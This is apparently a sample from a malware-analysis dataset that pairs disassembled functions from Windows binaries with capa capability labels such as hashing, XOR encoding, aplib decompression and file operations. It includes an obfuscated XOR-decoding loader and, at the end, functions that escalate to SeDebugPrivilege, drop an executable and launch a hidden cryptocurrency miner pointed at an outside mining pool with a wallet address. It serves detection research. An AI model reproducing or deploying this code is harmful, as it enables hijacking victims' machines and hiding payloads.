joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100a2070
Capabilities:
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push 0x54
mov eax, 0x10150c7f
call fcn.10147e2c
mov ebx, dword [ebp + 8]
xor eax, eax
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0x50], ebx
mov dword [ebp - 4], eax
mov dword [ebp - 0x44], eax
call fcn.100a1e88
and dword [ebp - 0x3c], 0
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x48], eax
call fcn.1009b955
mov ecx, ebx
mov dword [ebp - 4], 1
call fcn.1009b955
push edi
mov eax, 0x10165d08
mov dword [ebp - 0x44], 1
push eax
push esi
push eax
push edi
push ebx
call fcn.10102eea
pop ecx
pop ecx
push eax
call fcn.10102eea
pop ecx
pop ecx
push eax
call fcn.10102eea
pop ecx
pop ecx
push eax
call fcn.10102eea
pop ecx
pop ecx
push eax
call fcn.10102eea
mov eax, dword [ebp - 0x48]
pop ecx
pop ecx
test eax, eax
jne 0x100a2105
push 0xffffffffffffffff
push 0x10159980
mov ecx, ebx
call fcn.10102eea
jmp 0x100a21c1
lea ecx, [ebp - 0x3c]
xor esi, esi
push ecx
push esi
push esi
push 0x8003
push eax
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x100a20f2
push esi
push dword [ebx + 8]
push dword [ebx + 4]
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x100a20f2
push 4
pop ecx
push esi
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x40], esi
push eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x4c], ecx
push eax
push ecx
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
je 0x100a20f2
push dword [ebp - 0x40]
call fcn.10102eea
mov edi, eax
pop ecx
test edi, edi
je 0x100a20f2
push esi
lea eax, [ebp - 0x40]
push eax
push edi
push 2
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov ecx, ebx
push 0xffffffffffffffff
push 0x10159980
test eax, eax
jne 0x100a2185
call fcn.10102eea
jmp 0x100a21ba
call fcn.10102eea
cmp dword [ebp - 0x40], esi
jbe 0x100a21ba
cmp esi, 0x28
jae 0x100a21ba
movzx eax, byte [esi + edi]
push eax
lea eax, [ebp - 0x38]
push 0x10165c80
push eax
call fcn.10102eea
lea eax, [ebp - 0x38]
push eax
push ebx
call fcn.10102eea
add esp, 0x14
inc esi
cmp esi, dword [ebp - 0x40]
jb 0x100a218f
push edi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
pop ecx
cmp dword [ebp - 0x3c], 0
je 0x100a21d0
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
lea ecx, [ebp - 0x60]
call fcn.10102eea
mov eax, ebx
call fcn.10147dd6
ret
Function at 0x100afdae
Capabilities:
Create mailslot

Disassembly:
push 0x14
mov eax, 0x10152d8e
call fcn.10147df8
mov esi, ecx
mov dword [ebp - 0x10], esi
push dword [0x10191e8c]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.100ab64a
xor ebx, ebx
mov dword [esi], vtable.WinInterAppStream.0
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], ebx
call fcn.1009b955
lea eax, [esi + 0x40]
mov byte [ebp - 4], 1
push eax
lea eax, [esi + 0x30]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.10102eea
pop ecx
pop ecx
push eax
call fcn.10102eea
push 0xc
lea edi, [esi + 0x56]
push ebx
push edi
call sub.VCRUNTIME140.dll_memset
push edi
mov ecx, ebx
call fcn.10102eea
add esp, 0x18
test al, al
je 0x100afe21
cmp dword [esi + 0x5a], ebx
cmovne ecx, edi
push ecx
push ebx
push ebx
push dword [ebp - 0x1c]
call dword [sym.imp.kernel32.dll_CreateMailslotA]
lea ecx, [ebp - 0x20]
mov dword [esi + 0x52], eax
call fcn.10102eea
mov eax, esi
call fcn.10147dc1
ret 8

Function at 0x100affb0
Capabilities:
Write file on windows

Disassembly:
push 0x20
mov eax, 0x101509dd
call fcn.10147df8
mov esi, ecx
push esi
lea ecx, [ebp - 0x1c]
call fcn.1008f6a9
and dword [ebp - 4], 0
lea eax, [esi + 0x30]
push eax
lea ecx, [ebp - 0x2c]
call fcn.1009b803
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
xor ebx, ebx
inc ebx
mov byte [ebp - 4], bl
push dword [eax + 8]
push dword [eax + 4]
call fcn.10102eea
push 0
xor ecx, ecx
lea eax, [esi + 0x56]
cmp dword [esi + 0x5a], ecx
push 0x80
push 3
cmovne ecx, eax
push ecx
push ebx
push 0x40000000
push dword [ebp - 0x28]
call dword [sym.imp.kernel32.dll_CreateFileA]
and dword [ebp - 0x10], 0
mov dword [ebp - 0x14], eax
cmp eax, 0xffffffff
je 0x100b004b
mov edi, dword [ebp + 0xc]
lea ecx, [ebp - 0x10]
push 0
push ecx
push dword [edi + 8]
push dword [edi + 4]
push eax
call dword [sym.imp.kernel32.dll_WriteFile]
push dword [ebp - 0x14]
mov esi, eax
call dword [sym.imp.kernel32.dll_CloseHandle]
test esi, esi
je 0x100b004b
mov eax, dword [ebp - 0x10]
cmp eax, dword [edi + 8]
je 0x100b004d
xor bl, bl
lea ecx, [ebp - 0x2c]
call fcn.10102eea
lea ecx, [ebp - 0x1c]
call fcn.10102eea
mov al, bl
call fcn.10147dc1
ret 8
Function at 0x10102eea
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x10102ef9
pop dword [ebp - 0x3c]
mov eax, 0x216af962
add eax, 0xeea53597
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x2d51f42d
add dword [ebp - 0x4c], 0x2100511e
mov dword [ebp - 0x48], 0x674784a7
add dword [ebp - 0x48], 0xcaebc79e
mov dword [ebp - 0x44], 0x9f42cc84
add dword [ebp - 0x44], 0xad0977aa
mov dword [ebp - 0x40], 0x9240f3c7
add dword [ebp - 0x40], 0x6dbf0c39
lea eax, [ebp - 0x4c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0xb39300c7
add dword [ebp - 0x4c], 0xc0df688f
mov dword [ebp - 0x48], 0x7e7155e7
add dword [ebp - 0x48], 0xc2fb0b8e
mov dword [ebp - 0x44], 0x861bf060
sub dword [ebp - 0x44], 0x22ac83f4
mov dword [ebp - 0x40], 0xe601f7e6
sub dword [ebp - 0x40], 0xe601f7e6
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0x3d9617d0
add eax, 0xd27f3acc
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x73119
push 0
call eax
mov ecx, 0xc3dd667
add ecx, 0xf3c2724e
mov edx, eax
mov ebx, 0xdfc12bb6
add ebx, 0x30bd984a
add ebx, dword [ebp - 0x3c]
mov edi, 0xe5fd557e
sub edi, 0xd209e4d6
sub dword [ebp - 0x38], ecx
mov esi, dword [ebx]
sub dword [ebp - 0x18], edi
xor esi, edi
add dword [ebp - 0x2c], 0x6dc08ea3
mov dword [edx], esi
sub dword [ebp - 0x34], 0x265ca465
add edx, 4
add ebx, 0x49240a63
sub ebx, 0x49240a5f
loop 0x10103016
add eax, 0x115a7
mov ebx, eax
add eax, 0xcfc8414b
add eax, 0x3037beba
mov ecx, 0x10000000
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x10127680
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 8]
cmp byte [edi + 0x2d], 0
jne 0x1012771b
push ebx
mov ebx, dword [ebp + 0x10]
lea eax, [ebp - 4]
push esi
push 0
push eax
push ebx
push dword [ebp + 0xc]
push dword [edi + 0x30]
call dword [sym.imp.kernel32.dll_ReadFile]
mov esi, dword [ebp - 4]
cmp esi, ebx
je 0x101276d2
mov byte [edi + 0x2d], 0xff
test esi, esi
je 0x101276d2
cmp esi, ebx
jge 0x101276d2
mov eax, ebx
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
cmp dword [edi + 0x18], 0
je 0x10127715
add dword [edi + 0x1c], ebx
cmp dword [edi + 0x1c], 0xffff
jle 0x10127715
xor eax, eax
mov word [edi + 0x1e], ax
mov eax, dword [edi]
push edi
mov esi, dword [eax + 0x2c]
mov ecx, esi
call dword [0x10155aa8]
call esi
mov ecx, dword [edi + 0x18]
push 1
push dword [edi + 0x20]
mov esi, dword [ecx]
push eax
push ecx
mov ecx, dword [esi + 0xc]
call dword [0x10155aa8]
call dword [esi + 0xc]
mov esi, dword [ebp - 4]
mov eax, esi
pop esi
pop ebx
jmp 0x1012772d
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor eax, eax
pop edi
leave
ret 0xc

Function at 0x10127950
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x101975e0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x107d44f4], 0
mov eax, dword [ebp + 8]
je 0x10127978
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
jmp 0x10127992
lea ecx, [ebp - 0x108]
push ecx
push eax
call fcn.10102eea
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
call fcn.10147db0
leave
ret 4

Function at 0x10127b60
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x101975e0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x107d44f4], 0
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
je 0x10127b96
push ebx
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.kernel32.dll_GetTempFileNameW]
jmp 0x10127bf5
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
push esi
call fcn.10102eea
lea eax, [ebp - 0x20c]
push eax
push edi
call fcn.10102eea
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
mov esi, eax
lea eax, [ebp - 0x108]
push ebx
push eax
call fcn.10102eea
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10147db0
leave
ret 0x10
Function at 0x10127c10
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x101975e0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x107d44f4], 0
push esi
mov esi, dword [ebp + 0xc]
je 0x10127c3c
push esi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetTempPathW]
jmp 0x10127c6d
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
test eax, eax
je 0x10127c6b
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.10102eea
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
jmp 0x10127c6d
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10147db0
leave
ret 8
Function at 0x10136c00
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34c
mov eax, dword [0x101975e0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
xor edx, edx
push edi
xor ebx, ebx
inc edx
mov edi, dword [esi]
cmp dword [edi + 0x254], ebx
je 0x10136c60
cmp dword [edi + 0x264], ebx
je 0x10136c59
cmp byte [0x107d44f4], 0
push edi
push dword [edi + 0x250]
je 0x10136c48
call dword [sym.imp.kernel32.dll_FindNextFileW]
jmp 0x10136c4e
call dword [sym.imp.kernel32.dll_FindNextFileA]
mov ecx, dword [esi]
xor edx, edx
inc edx
mov dword [ecx + 0x264], eax
mov eax, dword [esi]
jmp 0x10136d40
mov eax, dword [edi + 0x25c]
test eax, eax
je 0x10136dcf
push eax
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy]
pop ecx
pop ecx
mov ecx, dword [esi]
cmp dword [ecx + 0x260], ebx
je 0x10136cae
lea eax, [ebp - 0x234]
push eax
call fcn.10102eea
mov eax, dword [esi]
push dword [eax + 0x260]
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat]
mov ecx, dword [esi]
add esp, 0xc
test byte [ecx + 0x268], 1
push 0x10
pop eax
lea edx, [eax + 0x70]
cmove eax, edx
mov dword [ecx], eax
cmp byte [0x107d44f4], 0
je 0x10136cda
push dword [esi]
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.kernel32.dll_FindFirstFileW]
jmp 0x10136cfc
lea eax, [ebp - 0x34c]
push eax
lea eax, [ebp - 0x234]
push eax
call fcn.10102eea
push dword [esi]
lea eax, [ebp - 0x34c]
push eax
call dword [sym.imp.kernel32.dll_FindFirstFileA]
mov ecx, dword [esi]
mov dword [ecx + 0x250], eax
xor eax, eax
mov ecx, dword [esi]
cmp dword [ecx + 0x250], 0xffffffff
setne al
mov dword [ecx + 0x264], eax
mov eax, dword [esi]
cmp dword [eax + 0x264], ebx
jne 0x10136d2a
mov dword [eax + 0x250], ebx
mov eax, dword [esi]
xor edx, edx
inc edx
mov dword [eax + 0x254], edx
mov eax, dword [esi]
cmp dword [eax + 0x264], ebx
jne 0x10136d40
mov dword [esi + 4], edx
mov ecx, eax
cmp dword [eax + 0x264], ebx
je 0x10136d67
cmp byte [0x107d44f4], 0
jne 0x10136d67
push dword [eax + 0x258]
add eax, 0x2c
push eax
call fcn.10102eea
mov ecx, dword [esi]
xor edx, edx
inc edx
mov eax, dword [ecx]
mov dword [ecx + 0x26c], eax
mov edi, dword [esi]
mov ebx, dword [edi + 0x26c]
shr ebx, 4
and ebx, edx
je 0x10136d9c
push esi
xor ebx, ebx
call fcn.10102eea
xor edx, edx
inc edx
cmp word [eax], 0x2e
je 0x10136d98
test byte [edi + 0x268], 3
jne 0x10136da6
mov ebx, edx
jmp 0x10136da6
test byte [edi + 0x268], 1
cmovne ebx, edx
mov eax, dword [edi + 0x264]
test eax, eax
je 0x10136dca
push 0
test ebx, ebx
pop ebx
jne 0x10136c20
test byte [edi + 0x26c], 2
jne 0x10136c20
test eax, eax
setne al
jmp 0x10136dd1
xor al, al
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10147db0
leave
ret 4
Function at 0x401050
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
cmp byte [eax + 0xc], 0
mov edi, dword [ebp + 8]
je 0x40111f
mov ecx, dword [eax]
xor esi, esi
lea edx, [esi + 0x20]
nop dword [eax]
mov eax, ecx
add esi, esi
and eax, 1
shr ecx, 1
or esi, eax
sub edx, 1
jne 0x401070
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x4011c1
mov edx, dword [ebp + 0x14]
nop
dec eax
lea edi, [edi + 1]
mov dword [ebp + 0x14], eax
mov ebx, esi
movzx eax, byte [edi - 1]
xor edx, eax
mov eax, edx
shr eax, 1
mov ecx, eax
xor ecx, esi
test dl, 1
cmove ecx, eax
mov eax, ecx
shr eax, 1
mov edx, eax
xor edx, esi
test cl, 1
cmove edx, eax
mov eax, edx
shr eax, 1
mov ecx, eax
xor ecx, esi
test dl, 1
mov edx, esi
cmove ecx, eax
mov eax, ecx
shr eax, 1
xor edx, eax
test cl, 1
mov ecx, esi
cmove edx, eax
mov eax, edx
shr eax, 1
xor ecx, eax
test dl, 1
mov edx, esi
cmove ecx, eax
mov eax, ecx
shr eax, 1
xor edx, eax
test cl, 1
cmove edx, eax
mov eax, edx
shr eax, 1
xor ebx, eax
test dl, 1
mov edx, esi
cmove ebx, eax
mov eax, dword [ebp + 0x14]
mov ecx, ebx
shr ecx, 1
xor edx, ecx
test bl, 1
cmove edx, ecx
test eax, eax
jne 0x401090
pop edi
pop esi
mov eax, edx
pop ebx
pop ebp
ret
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x4011c1
mov edx, dword [ebp + 0x14]
nop dword [eax]
movzx ecx, byte [edi]
lea edi, [edi + 1]
shl ecx, 0x18
dec esi
xor edx, ecx
lea ebx, [edx + edx]
jns 0x401147
mov ecx, dword [eax]
xor ecx, ebx
jmp 0x401149
mov ecx, ebx
lea edx, [ecx + ecx]
test ecx, ecx
jns 0x401156
mov ecx, dword [eax]
xor ecx, edx
jmp 0x401158
mov ecx, edx
lea edx, [ecx + ecx]
test ecx, ecx
jns 0x401165
mov ecx, dword [eax]
xor ecx, edx
jmp 0x401167
mov ecx, edx
lea edx, [ecx + ecx]
test ecx, ecx
jns 0x401174
mov ecx, dword [eax]
xor ecx, edx
jmp 0x401176
mov ecx, edx
lea edx, [ecx + ecx]
test ecx, ecx
jns 0x401183
mov ecx, dword [eax]
xor ecx, edx
jmp 0x401185
mov ecx, edx
lea edx, [ecx + ecx]
test ecx, ecx
jns 0x401192
mov ecx, dword [eax]
xor ecx, edx
jmp 0x401194
mov ecx, edx
lea edx, [ecx + ecx]
test ecx, ecx
jns 0x4011a1
mov ecx, dword [eax]
xor ecx, edx
jmp 0x4011a3
mov ecx, edx
lea ebx, [ecx + ecx]
test ecx, ecx
jns 0x4011b0
mov edx, dword [eax]
xor edx, ebx
jmp 0x4011b2
mov edx, ebx
test esi, esi
jne 0x401130
pop edi
pop esi
mov eax, edx
pop ebx
pop ebp
ret
mov eax, dword [ebp + 0x14]
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x401760
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41d53f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push 0
mov dword [ebp - 0x10], esi
call fcn.00404a5e
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov eax, dword [ebp + 8]
mov byte [ebp - 4], 6
test eax, eax
je 0x4017eb
push eax
push esi
call fcn.00404e96
mov ecx, dword [ebp - 0xc]
add esp, 8
mov eax, esi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret 4
push str.bad_locale_name
call fcn.00404be3
int3

Function at 0x4060ed
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [0x41e064]
test eax, eax
je 0x40612c
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40612c
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40612c
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40612c
cmp dword [ecx + 0x74], 0xe
jbe 0x40612c
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x411fb9
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00411e2a

Function at 0x41d230
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41d25d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41d25d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0xaaa0b0
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00aaa200
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xaaa0d6
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xaaa0c2
add dl, dl
jne 0xaaa0e1
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xaaa134
xor eax, eax
add dl, dl
jne 0xaaa0ee
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xaaa1d5
add dl, dl
jne 0xaaa0fd
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xaaa108
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xaaa113
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xaaa11e
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xaaa12a
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xaaa0cd
mov eax, 1
add dl, dl
jne 0xaaa142
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xaaa14d
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xaaa139
sub eax, ebx
mov ebx, 1
jne 0xaaa180
mov ecx, 1
add dl, dl
jne 0xaaa166
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xaaa171
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xaaa15d
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xaaa0cd
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xaaa197
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xaaa1a2
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xaaa18e
cmp eax, 0x7d00
jae 0xaaa1c5
cmp eax, 0x500
jb 0xaaa1c0
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xaaa0cd
cmp eax, 0x7f
ja 0xaaa1c8
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xaaa0cd
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xaaa1f6
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xaaa0cd
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x401160
Capabilities:
Get system information on windows

Disassembly:
sub esp, 0x24
lea eax, [esp]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [esp + 0x14]
add esp, 0x24
ret

Function at 0x4011b0
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x14
lea eax, [esp]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x401205
lea ecx, [esp + 8]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [esp]
push 0
push 0
lea edx, [esp + 0xc]
push 0x10
push edx
push 0
push eax
mov dword [esp + 0x1c], 1
mov dword [esp + 0x28], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
xor eax, eax
add esp, 0x14
ret
Function at 0x401490
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4014b5
lea ecx, [esp + 0xc]
push 0
push ecx
push 0x7e3ff
push 0x404f48
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4014d3
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop esi
pop ebx
ret

Function at 0x4014e0
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401505
lea ecx, [esp + 0xc]
push 0
push ecx
push 0xdf1ff
push 0x483348
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401523
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop esi
pop ebx
ret

Function at 0x401530
Capabilities:
Create process on windows
Reference absolute stream path on windows

Disassembly:
sub esp, 0x104
call fcn.004011b0
push str.C:ProgramDataINF_
call fcn.00401210
push str.Vwxyab.exe
push str.C:ProgramDataINF_
lea eax, [esp + 0xc]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [esp + 0x14]
push ecx
call fcn.00401490
add esp, 0x18
push 0
push str.C:ProgramDataINFVwxyab__o_mine.ppxxmr.com:3333__u_41tQn2UWwFjVmJs6DUheA14Uy2ZbL5euiEBPfs9chauDeQoe8WP33GEX6fVnUJ2d1oWPKAxBr2Yofixxcq7myLsbMUb3Q2y__p_x__k___max_cpu_usage60___donate_level1
call dword [sym.imp.KERNEL32.dll_WinExec]
add esp, 0x104
ret

Function at 0x401580
Capabilities:
Create process on windows
Reference absolute stream path on windows

Disassembly:
sub esp, 0x104
call fcn.004011b0
push str.C:ProgramDataINF_
call fcn.00401210
push str.Vwxyab.exe
push str.C:ProgramDataINF_
lea eax, [esp + 0xc]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [esp + 0x14]
push ecx
call fcn.004014e0
add esp, 0x18
push 0
push str.C:ProgramDataINFVwxyab__o_mine.ppxxmr.com:3333__u_41tQn2UWwFjVmJs6DUheA14Uy2ZbL5euiEBPfs9chauDeQoe8WP33GEX6fVnUJ2d1oWPKAxBr2Yofixxcq7myLsbMUb3Q2y__p_x__k___max_cpu_usage60___donate_level1
call dword [sym.imp.KERNEL32.dll_WinExec]
add esp, 0x104
ret